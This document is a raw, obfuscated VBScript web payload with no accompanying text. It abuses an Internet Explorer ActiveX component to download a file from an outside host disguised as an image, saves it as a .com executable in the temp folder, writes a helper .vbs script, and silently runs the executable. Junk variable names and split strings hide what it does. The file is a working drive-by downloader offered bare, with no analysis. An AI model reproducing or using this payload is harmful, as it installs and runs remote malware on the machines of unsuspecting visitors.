Dim pMLmUlXbCcnhzwToOGCNetPDMgeIKqKQYNsCDBGdgqVihxCEvVkcNuwRtyMTrFeeGPbDXCasSsExQyWGQWSeuKRTcAuYaHNgodTFFETtAIYyxOEHyXBfdLzUKBPZIIuvWfrUnSqTUTGASPmWgmiuLMhgsQxaqXdwFtaVVUZKDKoPBRUXPnRvfbQkbSfpYYMxZvIWEVHLlZWQigDYwDyLOcxzTTOrHZtNHwclmkpaTaFSRhknfETMwegBdivGbocOpML On Error Resume Next aVKeV="http://h96c.info/c.jpg" Set zOY = document.createElement("object") zOY.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" OOBnPl="Microsoft.XMLHTTp" Set WkS = zOY.CreateObject(OOBnPl,"") WkS.Open "GET", aVKeV, False WkS.Send ExeName="QkbSfpYYMxZvIWEVHLlZWQigDYwDyLOcxzTTO.com" VbsName="rHZtNHwclmkpaTaFSRhknfETMwegBdivGbocO.vbs" Set FPI = zOY.createobject("Scripting.FileSystemObject","") Set sTmp = FPI.GetSpecialFolder(2) ExeName=FPI.BuildPath(sTmp,ExeName) VbsName=FPI.BuildPath(sTmp,VbsName) AA="Ad" AB="odb.stream" AdM=AA&AB Set Dpt = zOY.createobject(AdM,"") Dpt.type=1 Dpt.Open Dpt.Write WkS.ResponseBody Dpt.Savetofile ExeName,2 Dpt.Close Dpt.Type=2 Dpt.Open Dpt.WriteText "on error resume next"&vbCrLf&"Set Shell = CreateObject(""Wsc"" & ""rip"" & ""t.Shell"")"&vbCrLf&"Shell.Run ("""&ExeName&""")"&vbCrLf&"Set Shell = Nothing" Dpt.Savetofile VbsName,2 Dpt.Close sRun="Shell.Appli" Set Run = zOY.createobject(sRun&"cation","") Run.ShellExecute VbsName,"","","Open",0
06014 |